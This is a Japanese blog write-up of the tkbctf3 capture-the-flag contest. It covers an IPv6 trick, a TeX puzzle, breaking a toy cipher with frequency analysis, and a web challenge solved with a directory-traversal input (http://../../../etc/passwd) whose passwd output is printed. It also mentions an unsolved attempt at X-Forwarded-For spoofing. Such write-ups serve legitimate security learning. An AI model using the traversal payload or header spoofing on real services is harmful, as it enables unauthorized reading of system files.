st98 の日記帳


[ctf] tkbctf3 の write-up

チーム nyoronyoro として参加した。最終的に獲得できたポイントは 650 点でチーム順位は 14 位だった。
Our Future (Network 100), Real World TeX (Misc 100), The Deal (Crypto 200), miocat(Web 250) の 4 問を解いた。

解けた問題

Our Future (Network 100)

普通に future.tkbctf.info にアクセスすると Nope, this is not what you're looking for. Try another way! と表示される。

another way って何だろうと思いながら nslookup future.tkbctf.info すると、IPv6 のアドレスが出てきた。
IPv6 でアクセスしろということなのかと考えて、IPv6 Proxy を通して future.tkbctf.info を閲覧。

Good job, you are accessing via IPv6.

KEY: InexhaustibleEnergy

と表示された。

Real World TeX (Misc 100)

real-world.tex という TeX ファイルが渡される。

そのままコンパイルすると怒られてしまったのでファイルの前に

\documentclass{article}
\begin{document}

を、後ろに

\end{document}

を追加して platex real-world.tex する。

evince real-world.dvi してみると、

"Most programming languages are partly a way of expressing things in
terms of other things and partly a basic set of given things."

ISMIM is the keyword of this question!

ここで ISMIM じゃなくて ISWIM なのではとか考えて両方を試した(と思う)。
記憶が曖昧でどっちが正解だったかは覚えていない。ごめんなさい。

この問題にはフラッグが 2 つあって、2 つ目のフラッグは real-world.idx にあった。

Land1n is another keyword!

The Deal (Crypto 200)

暗号化された文章とその文章の暗号化に使われたツールの URL が渡されるので、その文章を復号しろという問題。

平文を A に、パスワードを空にして入力すると 35.30 と表示された。
もう一度同じ入力をすると 31.34 と表示された。

また、平文を A に、パスワードを A にして入力すると 28.102 と表示された。

しばらく考えて、次のような方法で暗号が行われているのではないかと推測した。

function toCharCodeArray(str) {
  return str.match(/./g).map(function (c) {
    return c.charCodeAt(0);
  });
}

function sum(ary) {
  return ary.reduce(function (p, c) {
    return p + c;
  }, 0);
}

function rand(max) {
  return Math.floor(Math.random() * (max + 1));
}

function encrypt(plain, pass) {
  var key;

  plain = toCharCodeArray(plain);
  pass = toCharCodeArray(pass || '');

  key = sum(pass);

  return plain.reduce(function (p, c) {
    var r;

    c += key;
    r = rand(c);

    p.push(r, c - r);

    return p;
  }, []).join('.');
}

encrypt('A'); // => '45.20'
encrypt('A', 'key'); // => '370.24'
encrypt('test', 'key'); // => '99.346.220.210.418.26.98.347'

ここで、次のように 2 個ずつ足し合わせる関数を書く。

function plus(text) {
  return text.match(/\d+\.\d+/g).map(function (m) {
    return eval(m.replace(/\./g, '+'));
  });
}

次のように頻出する数字を調べる関数を書く。

function freq(ary) {
  return ary.reduce(function (p, c) {
    p[c] = p[c] == null ? 1 : p[c] + 1;
    return p;
  }, {});
}

freq(plus('520.421.926.48...')) を実行すると、与えられた暗号文中で最も出現した値が 905 であることが分かる。
この 905 は ` (半角スペース)` であると推測し、最終的に次のようなスクリプトを用いて暗号文を解読した。

var text = '520.421.926.48.56.914.402.585.81.824.826.115.515.472.522.397.116.789.415.525.273.711.660.324.927.58.826.148.87.900.849.68.89.794.117.766.492.465.123.854.92.878.510.473.744.236.359.546.305.689.915.69.344.646.768.137.126.865.585.389.430.557.727.267.174.731.982.0.472.518.949.23.75.902.335.570.603.372.864.120.716.271.465.440.831.163.774.210.22.968.587.400.92.813.563.414.72.912.628.360.290.699.782.203.675.303.114.875.200.770.68.913.535.443.62.927.164.830.241.664.359.617.575.412.860.110.493.490.669.320.374.604.283.700.524.452.32.873.386.596.443.531.262.643.299.690.162.815.165.809.513.392.6.970.628.359.301.669.752.221.759.215.133.772.810.165.227.757.841.146.894.11.597.352.576.402.602.381.196.778.215.755.266.721.378.527.198.740.785.196.236.740.199.775.339.632.619.368.157.813.677.228.609.337.678.241.7.876.809.137.149.756.494.498.608.362.16.972.681.224.814.157.691.279.73.900.512.393.947.23.715.274.760.145.355.623.661.328.772.133.688.300.224.760.89.816.464.518.889.101.77.895.560.417.740.165.688.301.371.606.559.411.237.752.365.540.221.757.497.492.202.703.577.400.55.915.55.933.566.339.132.845.515.463.360.623.643.330.447.527.9.978.569.405.241.732.483.422.221.761.172.802.822.83.620.356.296.691.589.381.835.138.701.289.516.454.764.225.272.706.670.313.200.776.864.41.946.29.795.189.465.522.599.306.70.924.477.497.33.937.281.706.581.407.326.593.234.649.599.339.387.601.450.455.791.201.169.805.424.481.72.898.789.187.256.731.762.212.51.923.201.772.164.753.544.361.484.462.141.771.431.551.761.144.817.159.605.379.515.463.981.2.149.827.374.531.513.476.103.881.511.394.463.522.839.131.215.779.385.520.151.843.30.954.93.897.415.490.350.559.475.451.613.304.371.550.326.595.593.328.310.595.391.587.472.511.232.673.663.309.419.558.510.464.939.33.147.833.416.489.23.952.385.599.257.730.710.195.321.668.562.415.117.857.143.762.78.896.11.982.962.27.304.683.692.278.660.245.126.846.75.912.545.429.959.14.946.32.939.50.659.260.148.757.132.814.831.158.757.155.576.412.186.719.377.601.614.369.200.788.714.264.3.970.907.67.578.327.589.400.330.647.518.456.372.533.86.888.287.696.898.93.680.294.935.46.891.93.763.222.396.578.278.639.346.559.545.426.633.341.93.896.803.189.373.601.396.578.406.577.816.89.187.802.633.344.422.552.526.379.500.489.845.147.284.700.474.431.824.163.620.354.530.455.842.142.853.134.792.197.560.345.599.389.380.597.950.24.155.819.812.177.63.925.232.687.107.776.191.761.342.641.35.937.182.792.728.177.310.660.556.420.247.723.585.393.668.315.72.845.437.468.557.432.611.366.608.362.199.784.856.124.524.381.189.805.674.310.597.393.794.111.31.960.446.528.968.19.729.265.351.554.108.874.57.933.822.150.211.766.758.161.584.321.375.571.805.184.837.75.93.895.589.316.382.606.705.285.952.20.389.588.326.579.746.224.590.315.469.518.115.859.32.949.314.664.744.230.879.96.773.146.586.297.224.724.914.28.295.667.80.916.468.475.732.255.420.554.749.225.746.207.817.161.170.825.937.58.563.407.208.698.718.222.445.539.556.426.717.257.53.885.840.143.377.596.262.682.155.819.339.650.220.726.372.617.730.268.850.33.503.380.17.939.917.61.260.723.589.383.676.298.710.277.16.965.33.961.535.382.520.363.814.128.264.723.845.133.456.516.625.280.385.559.202.785.473.505.952.30.242.740.513.370'

var plain = plus(text).map(function (c) {
  return String.fromCharCode(c - (905 - ' '.charCodeAt(0)));
}).join('')

console.log(plain);

実行すると次のような文章が表示される。

Dear Dr. Cooper,

Thank you very much for your hostpitality granting me the grade for Linear Algebra I.
I was bad at it so much that it has hindered me graduating for years.
As we agreed, I'm going to pay you $5,000 in check for the extra credit. It's inside the envelope, between the two report sheets.
Once again, thank you very much. It's such a relief.
KEY{FreePizza!ComeAndGetIt}

Sincerly,
Eric Grimm

miocat (Web 250)

hoge などを入力すると not acceptable. と表示される。
http://hoge などを入力すると Error: NameResolutionFailureError: ConnectFailure (Connection timed out) と表示される。

http://(自分の IP アドレス) を入力して nc コマンドで待ち受けていたものの一向にアクセスが来なかった。

しばらく悩んで http:// と入力すると Could not find a part of the path "/home/miocat/http:/". と表示されることに気付く。
ディレクトリトラバーサル出来るのではと考えて http://../../../etc/passwd と入力。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:102:105::/home/syslog:/bin/false
miocat:x:1001:1001:Miocat,,,Read /home/miocat/flag:/home/miocat:/bin/bash
chris:x:1000:1000::/home/chris:/bin/bash

と表示された。

Read /home/miocat/flag:/home/miocat

とあるのでそれに従って http://../flag と入力。 flag: ElizabethDoesntSayLazy と表示された。

解けなかった問題

From the Northern Country (Web 100)

北の国から north.tkbctf.info に接続せよという問題。

普通にアクセスすると This website is only available in DPRK (North Korea). と表示される。

北の国の proxy を通してアクセスすればいいのではと考えたけど、もちろんそんなものはない。
終了直前に X-Forwarded-For を弄ればいいのではと考えて X-Forwarded-For: 127.0.0.1 とか色々試してみたものの時間切れ。

他の方のWrite-upを見る限り、X-Forwarded-For を弄るという方向性は間違っていなかったみたい。無念。

15-Puzzle (Misc 250)

15 パズル。渡されたパズルの最短手数を求めろという問題。

手動でも出来そうだったのでソルバをダウンロードしてきて挑戦した。

何度か挑戦したものの、毎度毎度途中で入力ミスをしてしまってやり直し。心が折れた。精進。

このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳